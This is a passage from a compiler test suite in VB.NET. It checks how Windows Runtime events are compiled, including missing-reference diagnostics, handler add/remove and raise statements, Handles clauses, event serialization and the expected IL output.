Diagnostic(ERRID.ERR_TypeRefResolutionError3, "E").WithArguments("System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of )", "MissingReferences.winmdobj"), Diagnostic(ERRID.ERR_TypeRefResolutionError3, "E").WithArguments("System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken", "MissingReferences.winmdobj"), Diagnostic(ERRID.ERR_TypeRefResolutionError3, "E").WithArguments("System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken", "MissingReferences.winmdobj")) ' Throws *test* exception, but does not assert or throw produce exception. Assert.Throws(Of EmitException)(Sub() CompileAndVerify(comp)) End Sub <Fact()> Public Sub MissingReferences_RemoveHandler() Dim source = <compilation name="MissingReferences"> <file name="a.vb"> Class C Event E As System.Action Sub Test() RemoveHandler E, Nothing End Sub End Class </file> </compilation> Dim comp = CreateCompilationWithMscorlib(source, OutputKind.WindowsRuntimeMetadata) ' 3 for the backing field and each accessor. ' 1 for the RemoveHandler statement comp.VerifyEmitDiagnostics( Diagnostic(ERRID.ERR_TypeRefResolutionError3, "E").WithArguments("System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of )", "MissingReferences.winmdobj"), Diagnostic(ERRID.ERR_TypeRefResolutionError3, "E").WithArguments("System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken", "MissingReferences.winmdobj"), Diagnostic(ERRID.ERR_TypeRefResolutionError3, "E").WithArguments("System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken", "MissingReferences.winmdobj")) ' Throws *test* exception, but does not assert or throw produce exception. Assert.Throws(Of EmitException)(Sub() CompileAndVerify(comp)) End Sub <Fact()> Public Sub MissingReferences_RaiseEvent() Dim source = <compilation name="MissingReferences"> <file name="a.vb"> Class C Event E As System.Action Sub Test() RaiseEvent E() End Sub End Class </file> </compilation> Dim comp = CreateCompilationWithMscorlib(source, OutputKind.WindowsRuntimeMetadata) ' 3 for the backing field and each accessor. ' 1 for the RaiseEvent statement comp.VerifyEmitDiagnostics( Diagnostic(ERRID.ERR_TypeRefResolutionError3, "E").WithArguments("System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of )", "MissingReferences.winmdobj"), Diagnostic(ERRID.ERR_TypeRefResolutionError3, "E").WithArguments("System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken", "MissingReferences.winmdobj"), Diagnostic(ERRID.ERR_TypeRefResolutionError3, "E").WithArguments("System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken", "MissingReferences.winmdobj")) ' Throws *test* exception, but does not assert or throw produce exception. Assert.Throws(Of EmitException)(Sub() CompileAndVerify(comp)) End Sub <Fact()> Public Sub MissingReferences_RaiseEvent_MissingAccessor() Dim source = <compilation> <file name="a.vb"> Class C Event E As System.Action Sub Test() RaiseEvent E() End Sub End Class Namespace System.Runtime.InteropServices.WindowsRuntime Public Structure EventRegistrationToken End Structure Public Class EventRegistrationTokenTable(Of T) Public Shared Function GetOrCreateEventRegistrationTokenTable(ByRef table As EventRegistrationTokenTable(Of T)) As EventRegistrationTokenTable(Of T) Return table End Function Public WriteOnly Property InvocationList as T Set (value As T) End Set End Property Public Function AddEventHandler(handler as T) as EventRegistrationToken Return Nothing End Function Public Sub RemoveEventHandler(token as EventRegistrationToken) End Sub End Class End Namespace </file> </compilation> Dim comp = CreateCompilationWithMscorlib(source, OutputKind.WindowsRuntimeMetadata) ' 1 for the RaiseEvent statement comp.VerifyEmitDiagnostics( Diagnostic(ERRID.ERR_MissingRuntimeHelper, "RaiseEvent E()").WithArguments("System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable`1.get_InvocationList")) ' Throws *test* exception, but does not assert or throw produce exception. Assert.Throws(Of EmitException)(Sub() CompileAndVerify(comp)) End Sub <Fact> Public Sub MissingReferences_HandlesClause() Dim source = <compilation name="test"> <file name="a.vb"> Imports System.Runtime.InteropServices.WindowsRuntime Delegate Sub EventDelegate() Class Test WithEvents T As Test Public Event E As EventDelegate Sub Handler() Handles Me.E, T.E End Sub End Class </file> </compilation> Dim comp = CreateCompilationWithMscorlib(source, OutputKind.WindowsRuntimeMetadata) ' This test is specifically interested in the ERR_MissingRuntimeHelper errors: one for each helper times one for each handled event comp.VerifyDiagnostics( Diagnostic(ERRID.WRN_UndefinedOrEmptyNamespaceOrClass1, "System.Runtime.InteropServices.WindowsRuntime").WithArguments("System.Runtime.InteropServices.WindowsRuntime"), Diagnostic(ERRID.ERR_TypeRefResolutionError3, "E").WithArguments("System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of )", "test.winmdobj"), Diagnostic(ERRID.ERR_TypeRefResolutionError3, "E").WithArguments("System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken", "test.winmdobj"), Diagnostic(ERRID.ERR_TypeRefResolutionError3, "E").WithArguments("System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken", "test.winmdobj"), Diagnostic(ERRID.ERR_MissingRuntimeHelper, "E").WithArguments("System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable`1.AddEventHandler"), Diagnostic(ERRID.ERR_MissingRuntimeHelper, "E").WithArguments("System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable`1.RemoveEventHandler"), Diagnostic(ERRID.ERR_MissingRuntimeHelper, "E").WithArguments("System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable`1.AddEventHandler"), Diagnostic(ERRID.ERR_MissingRuntimeHelper, "E").WithArguments("System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable`1.RemoveEventHandler"), Diagnostic(ERRID.HDN_UnusedImportStatement, "Imports System.Runtime.InteropServices.WindowsRuntime")) ' Throws *test* exception, but does not assert or throw produce exception. Assert.Throws(Of EmitException)(Sub() CompileAndVerify(comp)) End Sub <Fact()> Public Sub InstanceFieldLikeEventAccessors() Dim verifier = CompileAndVerify( <compilation> <file name="a.vb"> Class C Event E As System.Action End Class </file> </compilation>, WinRtRefs, options:=TestOptions.ReleaseWinMD) verifier.VerifyIL("C.add_E", <![CDATA[ { // Code size 18 (0x12) .maxstack 2 IL_0000: ldarg.0 IL_0001: ldflda "C.EEvent As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action)" IL_0006: call "Function System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action).GetOrCreateEventRegistrationTokenTable(ByRef System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action)) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action)" IL_000b: ldarg.1 IL_000c: callvirt "Function System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action).AddEventHandler(System.Action) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_0011: ret } ]]>) verifier.VerifyIL("C.remove_E", <![CDATA[ { // Code size 18 (0x12) .maxstack 2 IL_0000: ldarg.0 IL_0001: ldflda "C.EEvent As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action)" IL_0006: call "Function System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action).GetOrCreateEventRegistrationTokenTable(ByRef System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action)) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action)" IL_000b: ldarg.1 IL_000c: callvirt "Sub System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action).RemoveEventHandler(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_0011: ret } ]]>) End Sub <Fact()> Public Sub SharedFieldLikeEventAccessors() Dim verifier = CompileAndVerify( <compilation> <file name="a.vb"> Class C Shared Event E As System.Action End Class </file> </compilation>, WinRtRefs, options:=TestOptions.ReleaseWinMD) verifier.VerifyIL("C.add_E", <![CDATA[ { // Code size 17 (0x11) .maxstack 2 IL_0000: ldsflda "C.EEvent As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action)" IL_0005: call "Function System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action).GetOrCreateEventRegistrationTokenTable(ByRef System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action)) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action)" IL_000a: ldarg.0 IL_000b: callvirt "Function System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action).AddEventHandler(System.Action) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_0010: ret } ]]>) verifier.VerifyIL("C.remove_E", <![CDATA[ { // Code size 17 (0x11) .maxstack 2 IL_0000: ldsflda "C.EEvent As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action)" IL_0005: call "Function System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action).GetOrCreateEventRegistrationTokenTable(ByRef System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action)) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action)" IL_000a: ldarg.0 IL_000b: callvirt "Sub System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action).RemoveEventHandler(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_0010: ret } ]]>) End Sub <Fact()> Public Sub AddAndRemoveHandlerStatements() Dim verifier = CompileAndVerify( <compilation> <file name="a.vb"> Class C Public Event InstanceEvent As System.Action Public Shared Event SharedEvent As System.Action End Class Class D Private c1 as C Sub InstanceAdd() AddHandler c1.InstanceEvent, AddressOf Action End Sub Sub InstanceRemove() RemoveHandler c1.InstanceEvent, AddressOf Action End Sub Sub SharedAdd() AddHandler C.SharedEvent, AddressOf Action End Sub Sub SharedRemove() RemoveHandler C.SharedEvent, AddressOf Action End Sub Shared Sub Action() End Sub End Class </file> </compilation>, WinRtRefs, options:=TestOptions.ReleaseWinMD) verifier.VerifyIL("D.InstanceAdd", <![CDATA[ { // Code size 49 (0x31) .maxstack 4 .locals init (C V_0) IL_0000: ldarg.0 IL_0001: ldfld "D.c1 As C" IL_0006: stloc.0 IL_0007: ldloc.0 IL_0008: ldftn "Sub C.add_InstanceEvent(System.Action) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_000e: newobj "Sub System.Func(Of System.Action, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0013: ldloc.0 IL_0014: ldftn "Sub C.remove_InstanceEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_001a: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_001f: ldnull IL_0020: ldftn "Sub D.Action()" IL_0026: newobj "Sub System.Action..ctor(Object, System.IntPtr)" IL_002b: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of System.Action)(System.Func(Of System.Action, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action)" IL_0030: ret } ]]>) verifier.VerifyIL("D.InstanceRemove", <![CDATA[ { // Code size 35 (0x23) .maxstack 3 IL_0000: ldarg.0 IL_0001: ldfld "D.c1 As C" IL_0006: ldftn "Sub C.remove_InstanceEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_000c: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0011: ldnull IL_0012: ldftn "Sub D.Action()" IL_0018: newobj "Sub System.Action..ctor(Object, System.IntPtr)" IL_001d: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.RemoveEventHandler(Of System.Action)(System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action)" IL_0022: ret } ]]>) verifier.VerifyIL("D.SharedAdd", <![CDATA[ { // Code size 42 (0x2a) .maxstack 4 IL_0000: ldnull IL_0001: ldftn "Sub C.add_SharedEvent(System.Action) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_0007: newobj "Sub System.Func(Of System.Action, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_000c: ldnull IL_000d: ldftn "Sub C.remove_SharedEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_0013: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0018: ldnull IL_0019: ldftn "Sub D.Action()" IL_001f: newobj "Sub System.Action..ctor(Object, System.IntPtr)" IL_0024: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of System.Action)(System.Func(Of System.Action, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action)" IL_0029: ret } ]]>) verifier.VerifyIL("D.SharedRemove", <![CDATA[ { // Code size 30 (0x1e) .maxstack 3 IL_0000: ldnull IL_0001: ldftn "Sub C.remove_SharedEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_0007: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_000c: ldnull IL_000d: ldftn "Sub D.Action()" IL_0013: newobj "Sub System.Action..ctor(Object, System.IntPtr)" IL_0018: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.RemoveEventHandler(Of System.Action)(System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action)" IL_001d: ret } ]]>) End Sub <Fact()> Public Sub [RaiseEvent]() Dim verifier = CompileAndVerify( <compilation> <file name="a.vb"> Class C Public Event InstanceEvent As System.Action(Of Integer) Public Shared Event SharedEvent As System.Action(Of Integer) Sub InstanceRaise() RaiseEvent InstanceEvent(1) End Sub Sub SharedRaise() RaiseEvent SharedEvent(2) End Sub Shared Sub Action() End Sub End Class </file> </compilation>, WinRtRefs, options:=TestOptions.ReleaseWinMD) verifier.VerifyIL("C.InstanceRaise", <![CDATA[ { // Code size 28 (0x1c) .maxstack 2 .locals init (System.Action(Of Integer) V_0) IL_0000: ldarg.0 IL_0001: ldflda "C.InstanceEventEvent As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action(Of Integer))" IL_0006: call "Function System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action(Of Integer)).GetOrCreateEventRegistrationTokenTable(ByRef System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action(Of Integer))) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action(Of Integer))" IL_000b: callvirt "Function System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action(Of Integer)).get_InvocationList() As System.Action(Of Integer)" IL_0010: stloc.0 IL_0011: ldloc.0 IL_0012: brfalse.s IL_001b IL_0014: ldloc.0 IL_0015: ldc.i4.1 IL_0016: callvirt "Sub System.Action(Of Integer).Invoke(Integer)" IL_001b: ret } ]]>) verifier.VerifyIL("C.SharedRaise", <![CDATA[ { // Code size 27 (0x1b) .maxstack 2 .locals init (System.Action(Of Integer) V_0) IL_0000: ldsflda "C.SharedEventEvent As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action(Of Integer))" IL_0005: call "Function System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action(Of Integer)).GetOrCreateEventRegistrationTokenTable(ByRef System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action(Of Integer))) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action(Of Integer))" IL_000a: callvirt "Function System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of System.Action(Of Integer)).get_InvocationList() As System.Action(Of Integer)" IL_000f: stloc.0 IL_0010: ldloc.0 IL_0011: brfalse.s IL_001a IL_0013: ldloc.0 IL_0014: ldc.i4.2 IL_0015: callvirt "Sub System.Action(Of Integer).Invoke(Integer)" IL_001a: ret } ]]>) End Sub ''' <summary> ''' Dev11 had bugs in this area (e.g. 281866, 298564), but Roslyn shouldn't be affected. ''' </summary> ''' <remarks> ''' I'm assuming this is why the final dev11 impl uses GetOrCreateEventRegistrationTokenTable. ''' </remarks> <Fact(), WorkItem(1003209)> Public Sub FieldLikeEventSerialization() Dim source1 = <compilation> <file name="a.vb"> Namespace EventDeserialization Public Delegate Sub EventDelegate Public Interface IEvent Event E as EventDelegate End Interface End Namespace </file> </compilation> Dim source2 = <compilation> <file name="b.vb"> Imports System Imports System.IO Imports System.Runtime.Serialization Namespace EventDeserialization Module MainPage Public Sub Main() Dim m1 as new Model() AddHandler m1.E, Sub() Console.Write("A") m1.Invoke() Dim bytes = Serialize(m1) Dim m2 as Model = Deserialize(bytes) Console.WriteLine(m1 is m2) m2.Invoke() AddHandler m2.E, Sub() Console.Write("B") m2.Invoke() End Sub Function Serialize(m as Model) as Byte() Dim ser as new DataContractSerializer(GetType(Model)) Using stream = new MemoryStream() ser.WriteObject(stream, m) Return stream.ToArray() End Using End Function Function Deserialize(b as Byte()) As Model Dim ser as new DataContractSerializer(GetType(Model)) Using stream = new MemoryStream(b) Return DirectCast(ser.ReadObject(stream), Model) End Using End Function End Module &lt;DataContract&gt; Public NotInheritable Class Model Implements IEvent Public Event E as EventDelegate Implements IEvent.E Public Sub Invoke() RaiseEvent E() Console.WriteLine() End Sub End Class End Namespace </file> </compilation> Dim comp1 = CreateCompilationWithReferences(source1, WinRtRefs, options:=TestOptions.ReleaseWinMD) comp1.VerifyDiagnostics() Dim serializationRef = TestReferences.NetFx.v4_0_30319.System_Runtime_Serialization Dim comp2 = CreateCompilationWithReferences(source2, WinRtRefs.Concat({New VisualBasicCompilationReference(comp1), serializationRef, MsvbRef, SystemXmlRef}), options:=TestOptions.ReleaseExe) CompileAndVerify(comp2, emitOptions:=TestEmitters.RefEmitBug, expectedOutput:=<![CDATA[ A False B ]]>) End Sub ' Receiver can be MyBase, MyClass, Me, or the name of a WithEvents member (instance or shared). <Fact> Public Sub HandlesClauses_ReceiverKinds() Dim source = <compilation> <file name="a.vb"> Imports System.Runtime.InteropServices.WindowsRuntime Delegate Sub EventDelegate() Class Base Public Event InstanceEvent As EventDelegate Public Shared Event SharedEvent As EventDelegate End Class Class Derived Inherits Base WithEvents B As Base Shared WithEvents BX As Base Public Shadows Event InstanceEvent As EventDelegate Public Shadows Shared Event SharedEvent As EventDelegate Sub InstanceHandler() Handles _ MyBase.InstanceEvent, MyBase.SharedEvent, MyClass.InstanceEvent, MyClass.SharedEvent, Me.InstanceEvent, Me.SharedEvent, B.InstanceEvent, B.SharedEvent End Sub Shared Sub SharedHandler() Handles _ MyBase.InstanceEvent, MyBase.SharedEvent, MyClass.InstanceEvent, MyClass.SharedEvent, Me.InstanceEvent, Me.SharedEvent, B.InstanceEvent, B.SharedEvent, BX.InstanceEvent, BX.SharedEvent End Sub End Class </file> </compilation> Dim comp = CreateCompilationWithReferences(source, WinRtRefs, options:=TestOptions.ReleaseWinMD) Dim verifier = CompileAndVerify(comp) ' Attach Me.InstanceHandler to {Base/Derived/Derived}.{InstanceEvent/SharedEvent} (from {MyBase/MyClass/Me}.{InstanceEvent/SharedEvent}). ' Attach Derived.SharedHandler to {Base/Derived/Derived}.InstanceEvent (from {MyBase/MyClass/Me}.InstanceEvent). verifier.VerifyIL("Derived..ctor", <![CDATA[ { // Code size 376 (0x178) .maxstack 4 IL_0000: ldarg.0 IL_0001: call "Sub Base..ctor()" IL_0006: ldarg.0 IL_0007: ldftn "Sub Base.add_InstanceEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_000d: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0012: ldarg.0 IL_0013: ldftn "Sub Base.remove_InstanceEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_0019: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_001e: ldarg.0 IL_001f: ldftn "Sub Derived.InstanceHandler()" IL_0025: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_002a: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_002f: ldnull IL_0030: ldftn "Sub Base.add_SharedEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_0036: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_003b: ldnull IL_003c: ldftn "Sub Base.remove_SharedEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_0042: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0047: ldarg.0 IL_0048: ldftn "Sub Derived.InstanceHandler()" IL_004e: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_0053: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_0058: ldarg.0 IL_0059: ldftn "Sub Derived.add_InstanceEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_005f: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0064: ldarg.0 IL_0065: ldftn "Sub Derived.remove_InstanceEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_006b: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0070: ldarg.0 IL_0071: ldftn "Sub Derived.InstanceHandler()" IL_0077: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_007c: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_0081: ldnull IL_0082: ldftn "Sub Derived.add_SharedEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_0088: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_008d: ldnull IL_008e: ldftn "Sub Derived.remove_SharedEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_0094: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0099: ldarg.0 IL_009a: ldftn "Sub Derived.InstanceHandler()" IL_00a0: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_00a5: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_00aa: ldarg.0 IL_00ab: ldftn "Sub Derived.add_InstanceEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_00b1: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_00b6: ldarg.0 IL_00b7: ldftn "Sub Derived.remove_InstanceEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_00bd: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_00c2: ldarg.0 IL_00c3: ldftn "Sub Derived.InstanceHandler()" IL_00c9: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_00ce: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_00d3: ldnull IL_00d4: ldftn "Sub Derived.add_SharedEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_00da: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_00df: ldnull IL_00e0: ldftn "Sub Derived.remove_SharedEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_00e6: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_00eb: ldarg.0 IL_00ec: ldftn "Sub Derived.InstanceHandler()" IL_00f2: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_00f7: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_00fc: ldarg.0 IL_00fd: ldftn "Sub Base.add_InstanceEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_0103: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0108: ldarg.0 IL_0109: ldftn "Sub Base.remove_InstanceEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_010f: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0114: ldnull IL_0115: ldftn "Sub Derived.SharedHandler()" IL_011b: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_0120: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_0125: ldarg.0 IL_0126: ldftn "Sub Derived.add_InstanceEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_012c: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0131: ldarg.0 IL_0132: ldftn "Sub Derived.remove_InstanceEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_0138: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_013d: ldnull IL_013e: ldftn "Sub Derived.SharedHandler()" IL_0144: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_0149: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_014e: ldarg.0 IL_014f: ldftn "Sub Derived.add_InstanceEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_0155: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_015a: ldarg.0 IL_015b: ldftn "Sub Derived.remove_InstanceEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_0161: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0166: ldnull IL_0167: ldftn "Sub Derived.SharedHandler()" IL_016d: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_0172: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_0177: ret } ]]>) ' Attach Derived.SharedHandler to from {Base/Derived/Derived}.SharedEvent (from {MyBase/MyClass/Me}.SharedEvent). verifier.VerifyIL("Derived..cctor", 